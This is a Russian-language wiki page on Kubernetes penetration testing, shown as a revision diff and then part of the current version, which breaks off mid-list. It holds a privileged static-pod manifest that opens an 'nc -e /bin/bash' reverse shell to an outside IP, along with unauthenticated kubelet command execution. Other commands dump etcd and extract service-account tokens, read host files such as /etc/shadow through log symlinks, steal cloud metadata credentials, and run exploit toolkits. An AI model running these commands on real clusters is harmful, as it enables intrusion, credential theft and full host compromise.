Kubernetes — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м (Weave Score)
м
 
(не показаны 32 промежуточные версии этого же участника)
Строка 43: Строка 43:
 
# export CACERT=${SERVICEACCOUNT}/ca.crt
 
# export CACERT=${SERVICEACCOUNT}/ca.crt
  
curl -k --header "Authorization: Bearer ${TOKEN}"
+
curl -k --header "Authorization: Bearer ${TOKEN}" https://${APISERVER}/path
 
</syntaxhighlight>
 
</syntaxhighlight>
  
Строка 104: Строка 104:
  
 
Для разведки DNS стоит обратиться к соответствующей статье тк задача не будет привязана к Kubernetes.
 
Для разведки DNS стоит обратиться к соответствующей статье тк задача не будет привязана к Kubernetes.
 +
 +
 +
= Node =
 +
 +
Физическая или виртуальная машина, на которой выполняются Pod(контейнеры).
 +
 +
== Эксплуатация ==
 +
 +
=== Static pod privelege escalation ===
 +
 +
 +
Static pod - pod, который можно создать только на том же Node, где вы сейчас находитесь.
 +
 +
Кратко: в случае возможности записи по пути /etc/kubernetes/manifests, вы можете создать привилегированный контейнер и получить рута на Node.
 +
 +
 +
1. Создаете файл yaml
 +
 +
2. Помещаете его в /etc/kubernetes/manifests/
 +
 +
3. Ждете перезапуска (или мб автоматом запустит)
 +
 +
4. Заходите в Pod
 +
 +
5. Pod escape - вы рут на Node.
 +
 +
 +
Из бонусов: ваш Pod будет виден в kubectl в соответствующем namespace, можно проводить социальную инженерию.
 +
 +
 +
Пример конфигурации
 +
<syntaxhighlight lang="yaml" enclose="div" style="overflow-x:auto" >
 +
apiVersion: v1
 +
kind: Pod
 +
metadata:
 +
  name: bad-priv2
 +
  namespace: kube-system
 +
spec:
 +
  containers:
 +
  - name: bad
 +
    hostPID: true
 +
    image: gcr.io/shmoocon-talk-hacking/brick
 +
    stdin: true
 +
    tty: true
 +
    imagePullPolicy: IfNotPresent
 +
    volumeMounts:
 +
      - mountPath: /chroot
 +
        name: host
 +
    command: ["/bin/sh"]
 +
    args: ["-c", 'nc -e /bin/bash 192.168.154.228 6666; sleep 100000']
 +
  securityContext:
 +
    privileged: true
 +
  volumes:
 +
  - name: host
 +
    hostPath:
 +
      path: /
 +
      type: Directory
 +
</syntaxhighlight>
 +
 +
Этот контейнер создаст backconnect соединение на 192.168.154.228:6666.
 +
 +
Важно! Два варианта событий может быть:
 +
 +
1. Нет netcat. Мб придется установить через apt-get или другую команду указать
 +
 +
2. Не нужен бекконнект - просто стереть command и args.
  
 
= Pod =
 
= Pod =
 +
 +
Группа из одного или нескольких приложений.
  
 
== Локальные файлы ==
 
== Локальные файлы ==
Строка 138: Строка 206:
 
Порты: 2379/tcp, 6666/tcp
 
Порты: 2379/tcp, 6666/tcp
  
 +
 +
== Эксплуатация ==
 +
 +
=== Анонимный доступ ===
 +
 +
У etcd может быть включен анонимный доступ, лучше проверить используя различные утилиты
 +
 +
==== etcdctl ====
 +
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
 +
</syntaxhighlight>
 +
 +
==== curl ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
curl http://<MASTER-IP>:2379/v2/keys
 +
</syntaxhighlight>
 +
 +
 +
=== Дамп базы ===
 +
 +
==== Доступ к Node ====
 +
 +
Если у нас есть исполнение команд на той же ноде, где крутится контейнер с etcd, то для поиска базы данных достаточно ввести следующую команду и перейти к пункту парсинга базы etcd.
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
 +
</syntaxhighlight>
 +
 +
 +
Либо воспользоваться утилитой etcdctl (лучше перейти в контейнер с etcd и там запустить команду):
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
docker ps
 +
docker exec -it container_name /bin/bash
 +
etcdctl get / --prefix --keys-only
 +
</syntaxhighlight>
 +
 +
=== Парсинг базы ===
 +
 +
Если у вас есть файл базы данных, то вы можете спарсить данные из него следующей командой:
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
strings /var/lib/etcd/member/snap/db | less
 +
</syntaxhighlight>
 +
 +
==== Извлечение токенов и servicename ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
 +
 +
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
 +
</syntaxhighlight>
 +
 +
= NodePort =
 +
 +
Используется для балансировки запросов.
 +
 +
 +
Порты: 30000-32767/tcp (по-умолчанию, можно менять).
 +
 +
== Поиск ==
 +
 +
Тк по-умолчанию запускается на определенном диапазоне tcp-портов, можно просканнировать их и найти ранее не исследованные сервисы.
 +
 +
=== nmap ===
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
nmap -sV -v -p 30000-32767 <IP>
 +
</syntaxhighlight>
  
 
= API-server =
 
= API-server =
Строка 146: Строка 282:
 
Порты: 443/tcp. 6443/tcp, 8080/tcp, 8443/tcp
 
Порты: 443/tcp. 6443/tcp, 8080/tcp, 8443/tcp
  
 +
По следующим URL можно определить, является ли веб-сервер Kubernetes API:
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
/swaggerapi
 +
/healthz
 +
/api/v1
 +
</syntaxhighlight>
 +
 +
== Список плагинов ==
  
= Kubelet =  
+
Как правило, доступ к API не анонимный.
 +
Но, в любом случае, попробуйте перейти сайт API мастера и если у вас есть права, то вы можете увидеть список Endpoint'ов.
 +
 +
Среди них могут оказаться плагины. В случае обнаружения плагинов перейдите на соответствующую главу данной вики-заметки.
 +
 
 +
= Kubelet API=  
  
 
Агент, работающий на каждом узле в кластере. Следит за контейнерами на Pod'е.
 
Агент, работающий на каждом узле в кластере. Следит за контейнерами на Pod'е.
Строка 154: Строка 304:
 
Порты: 10250/tcp(https API - полный доступ к ноде), 10255/tcp(http-api read-only, без аутентификации)
 
Порты: 10250/tcp(https API - полный доступ к ноде), 10255/tcp(http-api read-only, без аутентификации)
  
 +
== Сбор информации ==
 +
 +
Информация о Pod'ах и их контейнерах:
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
http://<external-IP>:10255/pods
 +
</syntaxhighlight>
 +
 +
== Эксплуатация ==
 +
 +
=== Отсутствие авторизации 10250/tcp ===
 +
 +
Если на сервере отсутствует авторизация, то можно проэксплуатировать RCE.
 +
 +
 +
Чтобы проверить:
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
curl -k https://<IP address>:10250/metrics
 +
curl -k https://<IP address>:10250/pods
 +
</syntaxhighlight>
 +
 +
 +
Если не вернуло "Unauthorized" - можно запустить код (подставить namespace, pod, container):
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
curl -Gks https://worker:10250/exec/{namespace}/{pod}/{container} -d 'input=1' -d 'output=1' -d 'tty=1' -d 'command=ls' -d 'command=/
 +
</syntaxhighlight>
 +
 +
Также можно воспользоваться скриптом https://github.com/serain/kubelet-anon-rce
  
 
= Kube-proxy =
 
= Kube-proxy =
Строка 218: Строка 395:
  
 
Далее проблемы будут разделены на ресурсы, к которым был предоставлен доступ
 
Далее проблемы будут разделены на ресурсы, к которым был предоставлен доступ
 +
 +
== Привилегии - services ==
 +
 +
Services нужны для предоставления служб через определенный порт и ip (по-факту load-balancer).
 +
 +
=== Доступ list ===
 +
 +
Получить список сервисов.
 +
Полезно тем, что позволяет получить новые сервисы, которые могут быть целью дальнейших атак.
 +
 +
==== kubectl ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
kubectl get services
 +
kubectl get svc
 +
</syntaxhighlight>
 +
 +
== Привилегии - api-resources ==
 +
 +
Описание Kubernetes-API (куда мы можем стучаться)
 +
 +
=== Доступ get ===
 +
 +
Позволяет получить список ресурсов, на которые мы можем применять действие list.
 +
 +
==== kubectl ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
kubectl api-resources --namespaced=true
 +
kubectl api-resources --namespaced=false
 +
</syntaxhighlight>
 +
 +
==== curl ====
 +
 +
Делает очень много запросов, лучше использовать kubectl.
 +
 +
 +
== Привилегии - roles ==
 +
 +
Существующие роли и действия с ними.
 +
 +
=== Доступ list ===
 +
 +
Позволяет вывести все роли.
 +
 +
==== kubectl ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
kubectl get roles
 +
</syntaxhighlight>
 +
 +
==== curl ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
curl -s "$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500" --header "Authorization: Bearer $TOKEN" -k
 +
</syntaxhighlight>
 +
 +
== Привилегии - ClusterRoles ==
 +
 +
Существующие роли кластеров и действия с ними.
 +
 +
=== Доступ list ===
 +
 +
Позволяет вывести все роли кластеров.
 +
 +
==== kubectl ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
kubectl get clusterroles
 +
</syntaxhighlight>
 +
 +
==== curl ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
curl -s "$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500" --header "Authorization: Bearer $TOKEN" -k
 +
</syntaxhighlight>
 +
 +
 +
== Привилегии - Namespaces ==
 +
 +
Работа с пространствами имен.
 +
 +
=== Доступ list ===
 +
 +
Позволяет вывести все пространства имен kubernetes.
 +
 +
==== kubectl ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
kubectl get namespaces
 +
</syntaxhighlight>
 +
 +
==== curl ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
curl -s "$APISERVER/api/v1/namespaces/" --header "Authorization: Bearer $TOKEN" -k
 +
</syntaxhighlight>
 +
 +
 +
== Привилегии - serviceaccounts ==
 +
 +
Позволяет работать с сервисными аккаунтами.
 +
 +
=== Доступ list ===
 +
 +
Получить список аккаунтов, которые, например, можно будет использовать при бруте.
 +
 +
==== kubectl ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
kubectl get serviceaccounts
 +
</syntaxhighlight>
 +
 +
 +
==== curl ====
 +
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
curl -s $APISERVER/api/v1/namespaces/default/serviceaccounts/ --header "Authorization: Bearer $TOKEN" -k
 +
</syntaxhighlight>
 +
 +
== Привилегии - Nodes ==
 +
 +
Node - машина в вашем кластере на котором будут Pod'ы.
 +
 +
=== Доступ list ===
 +
 +
Позволяет получить список Nodes, которые в дальнейшем могут быть целью атаки.
 +
 +
==== kubectl ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
kubectl get nodes
 +
</syntaxhighlight>
 +
 +
==== curl ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
curl -s $APISERVER/api/v1/nodes/ --header "Authorization: Bearer $TOKEN" -k
 +
</syntaxhighlight>
 +
  
 
== Привилегии - secrets ==
 
== Привилегии - secrets ==
Строка 234: Строка 552:
  
  
==== HTTP API ====
+
==== curl ====
  
  
 
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
curl -s $APISERVER/api/v1/secrets/ --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt
+
curl -s $APISERVER/api/v1/secrets/ --header "Authorization: Bearer $TOKEN" -k
  
 
curl -s $APISERVER/api/v1/namespaces/kube-system/secrets/ --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt
 
curl -s $APISERVER/api/v1/namespaces/kube-system/secrets/ --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt
Строка 268: Строка 586:
 
curl -s $APISERVER/api/v1/namespaces/default/secrets/drakylar-admin-token-sgjbp --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt
 
curl -s $APISERVER/api/v1/namespaces/default/secrets/drakylar-admin-token-sgjbp --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt
 
</syntaxhighlight>
 
</syntaxhighlight>
 +
 +
 +
== Привилегии - logs ==
 +
 +
Просмотр логов от Pod'ов.
 +
 +
=== Доступ get ===
 +
 +
Позволяет просмотреть логи Pod'а.
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
kubectl logs pod_name
 +
</syntaxhighlight>
 +
 +
 +
В определенном случае позволяет читать файлы хостовой системы.
 +
 +
Условия:
 +
 +
1. Доступ на запись внутри контейнера по пути /var/logs/pods/namespace_pod_uid/container/
 +
 +
2. Права get на чтение логов данного контейнера
 +
 +
 +
Эксплуатация:
 +
 +
 +
1. Создать символьную ссылку /var/logs/pods/namespace_pod_uid/container/0.log, которая будет указывать на /etc/shadow (или другой файл хостовой системы).
 +
 +
2. Выполнить команды:
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
kubectl logs pod_name
 +
kubectl logs pod_name --tail=2
 +
</syntaxhighlight>
 +
 +
Таким образом вы сможете читать файлы хостовой системы.
 +
 +
 +
Второй вариант эксплуатации проще: если у атакующего есть на хостовой машине права чтения nodes/log, то он может создать следующую символьную ссылку:
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
/host-mounted/var/log/sym -> /
 +
</syntaxhighlight>
 +
 +
И делать запросы на 
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
https://<gateway>:10250/logs/sym/
 +
</syntaxhighlight>
 +
 +
Там будет доступен список файлов системы (экспериментируйте с symlink).
 +
 +
Подробнее почитать тут: https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts
 +
 +
Аналогичное достигается в обходе allowedHostPaths. Можно не вдаваться, ссылка желающим почитать https://jackleadford.github.io/containers/2020/03/06/pvpost.html
  
 
== Привилегии - pods ==
 
== Привилегии - pods ==
 +
 +
 +
=== Доступ list ===
 +
 +
Получить список Pod'ов. Полезно для дальнейшего продвижения по сети компании.
 +
 +
==== kubectl ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
kubectl get pods
 +
</syntaxhighlight>
 +
 +
==== curl ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
curl -v -s $APISERVER/api/v1/namespaces/<namespace>/pods/ --header "Authorization: Bearer $TOKEN" -k
 +
</syntaxhighlight>
 +
 +
 +
=== Доступ port-forward ===
 +
 +
Не знал, куда добавлять, поэтому будет тут.
 +
 +
Суть в том, что можно прокинуть порт с удаленного Pod'а на локальную машину.
 +
 +
Полезно например если хотите достучаться до уязвимого сервиса.
 +
 +
==== kubectl ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
kubectl port-forward pod/mypod 5000:5000
 +
</syntaxhighlight>
  
  
Строка 413: Строка 818:
 
DaemonSet - создание копии Pod'а.  
 
DaemonSet - создание копии Pod'а.  
  
 +
=== Доступ - list ===
 +
 +
Позволяет получить список DaemonSets, которые в дальнейшем могут быть выбраны целью для атаки.
 +
 +
 +
==== kubectl ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
kubectl get daemonsets
 +
</syntaxhighlight>
 +
 +
==== curl ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
curl -v -s $APISERVER/apis/apps/v1/namespaces/kube-system/daemonsets?fieldManager=kubectl-client-side-apply --header "Authorization: Bearer $TOKEN" -k
 +
curl -v -s $APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets --header "Authorization: Bearer $TOKEN" -k
 +
</syntaxhighlight>
  
  
Строка 517: Строка 939:
  
 
Deployment - представление работающего приложения в кластере (например, количество его репликаций).
 
Deployment - представление работающего приложения в кластере (например, количество его репликаций).
 +
 +
 +
=== Доступ - list ===
 +
 +
Получить список всех deployments
 +
 +
==== kubectl ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
kubectl get deployments
 +
kubectl get deployments -n custnamespace
 +
</syntaxhighlight>
 +
 +
 +
==== curl ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
curl -v -s $APISERVER/api/v1/namespaces/<namespace>/deployments/ --header "Authorization: Bearer $TOKEN" -k
 +
</syntaxhighlight>
  
  
Строка 618: Строка 1059:
 
curl -v -s $APISERVER/apis/apps/v1/namespaces/kube-system/deployments?fieldManager=kubectl-client-side-apply -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json
 
curl -v -s $APISERVER/apis/apps/v1/namespaces/kube-system/deployments?fieldManager=kubectl-client-side-apply -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json
 
</syntaxhighlight>
 
</syntaxhighlight>
 
 
 
  
 
== Привилегии - Statefulsets ==  
 
== Привилегии - Statefulsets ==  
Строка 674: Строка 1112:
  
 
Cronjobs - запускает Jobs по расписанию.
 
Cronjobs - запускает Jobs по расписанию.
 +
 +
=== Доступ - list ===
 +
 +
Позволяет получить список CronJobs, которые в дальнейшем могут быть выбраны целью для атаки.
 +
 +
 +
==== kubectl ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
kubectl get cronjobs
 +
</syntaxhighlight>
 +
 +
==== curl ====
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
curl -v -s $APISERVER/apis/batch/v1/namespaces/default/cronjobs --header "Authorization: Bearer $TOKEN" -k
 +
curl -v -s $APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs --header "Authorization: Bearer $TOKEN" -k
 +
</syntaxhighlight>
  
  
Строка 785: Строка 1241:
 
Impersonate-Uid: 06f6ce97-e2c5-4ab8-7ba5-7654dd08d52b
 
Impersonate-Uid: 06f6ce97-e2c5-4ab8-7ba5-7654dd08d52b
 
</syntaxhighlight>
 
</syntaxhighlight>
 
  
 
= Стороннее ПО =
 
= Стороннее ПО =
Строка 797: Строка 1252:
 
Порты: 4194/tcp.
 
Порты: 4194/tcp.
  
 +
 +
=== Получение информации ===
 +
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
curl -k https://<IP Address>:4194
 +
</syntaxhighlight>
  
 
== Calico ==
 
== Calico ==
Строка 821: Строка 1283:
  
 
Порты: 6782/tcp, 6783/tcp, 6784/tcp (метрики и api-endpoints), 4040/tcp (WEB-UI).
 
Порты: 6782/tcp, 6783/tcp, 6784/tcp (метрики и api-endpoints), 4040/tcp (WEB-UI).
 +
 +
 +
== Helm ==
 +
 +
Пакетный менеджер для Kubernetes. Используется для управления чартами (чарт - набор данных для создания приложения в кластере).
 +
 +
 +
Порты: 44134/tcp (tiller).
 +
 +
 +
=== Поиск ===
 +
 +
==== kubectl ====
 +
 +
Для поиска можно выполнить следующие команды:
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
kubectl get pods | grep -i "tiller"
 +
kubectl get services | grep -i "tiller"
 +
kubectl get pods -n kube-system | grep -i "tiller"
 +
kubectl get services -n kube-system | grep -i "tiller"
 +
kubectl get pods -n <namespace> | grep -i "tiller"
 +
kubectl get services -n <namespace> | grep -i "tiller"
 +
</syntaxhighlight>
 +
 +
==== nmap ====
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
nmap -sV -v -p 44134 <subnet>
 +
</syntaxhighlight>
 +
 +
 +
=== Взаимодействие с сервисом ===
 +
 +
Для взаимодействия с сервисом нужна утилита helm, после чего можно подключиться командой:
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
helm --host tiller-deploy.kube-system:44134 version
 +
</syntaxhighlight>
 +
 +
=== Эксплуатация ===
 +
 +
 +
==== Повышение привилегий ====
 +
 +
 +
Тк по умолчанию Helm2 установлен в kube-system namespace с большими привилегиями, то достаточно загрузить на него специальный проект https://github.com/Ruil1n/helm-tiller-pwn , который позволяет запускать команды:
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
git clone https://github.com/Ruil1n/helm-tiller-pwn
 +
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn/pwnchart
 +
</syntaxhighlight>
 +
 +
Подробнее про атаку: http://rui0.cn/archives/1573
 +
 +
 +
== Open Policy Agent ==
 +
 +
Система применения политик в различных системах (не только Kubernetes)
 +
 +
=== Gatekeeper ===
 +
 +
Дает возможность принудительного применения политик в кластере Kubernetes.
 +
 +
= Облака =
 +
 +
В случае, если kubernetes запущен в облаке, то это позволяет нам получить доп. информацию.
 +
 +
 +
Тут будет кратко, подробно про облака смотрите в соответствующих вики-заметках
 +
 +
== Amazon AWS ==
 +
 +
В случае с AWS кратко: можно получить API-токен из контейнера путем запроса по следующему адресу:
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
 +
</syntaxhighlight>
 +
 +
А дальше с этим токеном уже идти на страницу AWS и смотреть как дальше пентестить.
 +
 +
 +
= Автоматизация эксплуатации =
 +
 +
== ctrsploit ==
 +
 +
https://github.com/ctrsploit/ctrsploit
 +
 +
 +
Запуск внутри контейнера, с эксплуатацией повышения привилегий.
 +
 +
=== Сбор информации ===
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
./ctrsploit env w
 +
./ctrsploit env g
 +
./ctrsploit env c
 +
./ctrsploit env cap
 +
./ctrsploit env s
 +
./ctrsploit env a
 +
./ctrsploit env f
 +
</syntaxhighlight>
 +
 +
=== Эксплуатация ===
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
./ctrsploit e <название эксплоита>
 +
</syntaxhighlight>
 +
 +
Список эксплоитов на момент создания статьи (v0.5.2):
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
cgroupv1-release_agent, ra                                                                escape tech by using the notify_on_release of cgroup v1
 +
cgroupv1-release_agent-unknown_rootfs, ra3                                                escape tech by using the notify_on_release of cgroup v1 without known rootfs
 +
cgroup_mount-bypass-cgroupv1-release_agent, ra2, cve-2022-0492, 0492, cgroup_mount_bypass  cve-2022-0492: escape tech by using the notify_on_release of cgroup v1 after cgroup_mount bypass
 +
CVE-2021-22555, 22555                                                                      escape tech by using the CVE-2021-22555
 +
CVE-2020-8555, 8555                                                                        k8s CVE-2020-8555 SSRF
 +
CVE-2017-1002101, subPath1, 1002101, CVE-2017-1002101, 2017-1002101                        CVE-2017-1002101
 +
help, h                                                                                    Shows a list of commands or help for one command
 +
</syntaxhighlight>
 +
 +
== kube-hunter ==
 +
 +
https://github.com/aquasecurity/kube-hunter
 +
 +
Больше по сетевому взаимодействию, умеет работать с конфигами и удаленно.
 +
 +
Много настроек, примеры запуска:
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
kube-hunter --cidr 192.168.0.0/24 --active
 +
kube-hunter --remote some.domain.com --active
 +
kube-hunter --active --service-account-token eyJhbGciOiJSUzI1Ni...
 +
</syntaxhighlight>
 +
 +
== CDK ==
 +
 +
https://github.com/cdk-team/CDK
 +
 +
Утилита для повышения привилегий из контейнера (+ опции для сканирования kubernetes).
 +
 +
 +
 +
Состоит из 3х модулей:
 +
 +
1. Evaluate - Сбор информации
 +
 +
2. Exploit - Запуск эксплоитов
 +
 +
3. Tool - Дополнительные инструменты.
 +
 +
 +
 +
Также есть версии:
 +
 +
1. All - максимальные проверки
 +
 +
2. Normal
 +
 +
3. Thin - оптимизация для контейнеров с коротким жизненным циклом
 +
 +
4. Upx - помогает обходить сигнатурные средства защиты
 +
 +
 +
=== Сбор информации ===
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
cdk evaluate --full
 +
</syntaxhighlight>
 +
 +
=== Эксплуатация ===
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
cdk run --list
 +
cdk run <script-name> [options]
 +
</syntaxhighlight>
 +
 +
 +
=== Сторонние утилиты ===
 +
 +
<syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" >
 +
cdk nc
 +
cdk ps
 +
</syntaxhighlight>
 +
 +
Полный список утилит в README.md
 +
 +
== kdigger ==
 +
 +
https://github.com/quarkslab/kdigger
 +
 +
 +
Утилита нужна только, чтобы понять запущен ли код внутри контейнера или нет. Схоже функционалом с amicontained, но поновее.
 +
Также делает дополнительные проверки, которые могут помочь при container escape.
 +
 +
Важно! Есть некоторые проверки, которые могут повлиять на кластер, но они доступны только с опцией --active/-a.
 +
 +
 +
== Peirates ==
 +
 +
https://github.com/inguardians/peirates
 +
 +
Инструмент для пентеста куберов и постэксплуатации, например, сбора secrets с Node.
 +
 +
 +
Очень много опций, лучше самостоятельно изучить при запуске.
 +
 +
== BOtB ==
 +
 +
https://github.com/brompwnie/botb
 +
 +
 +
Утилита для анализа и эксплуатации контейнеров.
 +
В случае с кубером может искать сервисные аккаунты и автоматически заюзать их секреты.
 +
 +
 +
== DEEPCE ==
 +
 +
https://stealthcopter.github.io/deepce/
 +
 +
 +
https://github.com/stealthcopter/deepce
 +
 +
 +
Повышение привилегий/побег из контейнера docker.
 +
 +
== kubesploit ==
 +
 +
https://github.com/cyberark/kubesploit
 +
 +
Post-Exploitation framework. Много модулей:
 +
 +
- Побег из контейнера
 +
 +
- Поиск информации kubernetes (сеть)
 +
 +
- Сканы контейнеров kubeletctl
 +
 +
 +
= Ссылки =
 +
 +
 +
== Заметки ==
 +
 +
[https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes HackTricks]
 +
 +
 +
== Новостные каналы ==
 +
 +
[https://t.me/k8security Telegram k8security]
 +
 +
== Лабы ==
 +
 +
[https://github.com/quarkslab/minik8s-ctf minik8s ctf]
 +
 +
[https://www.katacoda.com/cyberarkcommons/scenarios/kubesploit kubesploit lab]

Текущая версия на 17:22, 14 марта 2022


Статья посвящена тестированию на проникновение Kubernetes.


Предварительно статья разделена на сервисы и как их можно найти, эксплуатировать и может быть закрепиться.

Содержание

Общее

Запросы к API (шпаргалка)

https://kubernetes.io/ru/docs/reference/kubectl/cheatsheet/

Настройка утилит

kubectl

Для общения с API можно воспользоваться стандартным ПО kubectl.

Пример запроса:

kubectl get secrets


Запросы можно делать inline с токеном:

kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify=true

curl

Для curl кроме стандартных параметров (токен, неймспейс) потребуется адрес API-сервера.

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
# Лишняя строка, но можно использовать с curl --cacert ${CACERT}
# export CACERT=${SERVICEACCOUNT}/ca.crt

curl -k --header "Authorization: Bearer ${TOKEN}" https://${APISERVER}/path

Текущая конфигурация

Конфиг

Общая информация

kubectl config view


Пользователи

Список пользователей

kubectl config get-users
kubectl config view -o jsonpath='{.users[*].name}'

Удалить пользователя

kubectl config unset users.foo

Контексты

Список контекстов

kubectl config get-contexts


Текущий контекст

kubectl config current-context

Установить контекст

kubectl config use-context my-cluster-name

Namespace

Установить namespace по-умолчанию

kubectl config set-context --current --namespace=ggckad-s2

DNS

DNS при тестировании kubernetes больше может потребоваться для разведки.

Например, основные субдомены kubernetes выглядят как:

k8s.*

Для разведки DNS стоит обратиться к соответствующей статье тк задача не будет привязана к Kubernetes.


Node

Физическая или виртуальная машина, на которой выполняются Pod(контейнеры).

Эксплуатация

Static pod privelege escalation

Static pod - pod, который можно создать только на том же Node, где вы сейчас находитесь.

Кратко: в случае возможности записи по пути /etc/kubernetes/manifests, вы можете создать привилегированный контейнер и получить рута на Node.


1. Создаете файл yaml

2. Помещаете его в /etc/kubernetes/manifests/

3. Ждете перезапуска (или мб автоматом запустит)

4. Заходите в Pod

5. Pod escape - вы рут на Node.


Из бонусов: ваш Pod будет виден в kubectl в соответствующем namespace, можно проводить социальную инженерию.


Пример конфигурации

apiVersion: v1
kind: Pod
metadata:
  name: bad-priv2
  namespace: kube-system
spec:
  containers:
  - name: bad
    hostPID: true
    image: gcr.io/shmoocon-talk-hacking/brick
    stdin: true
    tty: true
    imagePullPolicy: IfNotPresent
    volumeMounts:
      - mountPath: /chroot
        name: host
    command: ["/bin/sh"]
    args: ["-c", 'nc -e /bin/bash 192.168.154.228 6666; sleep 100000']
  securityContext:
    privileged: true
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory

Этот контейнер создаст backconnect соединение на 192.168.154.228:6666.

Важно! Два варианта событий может быть:
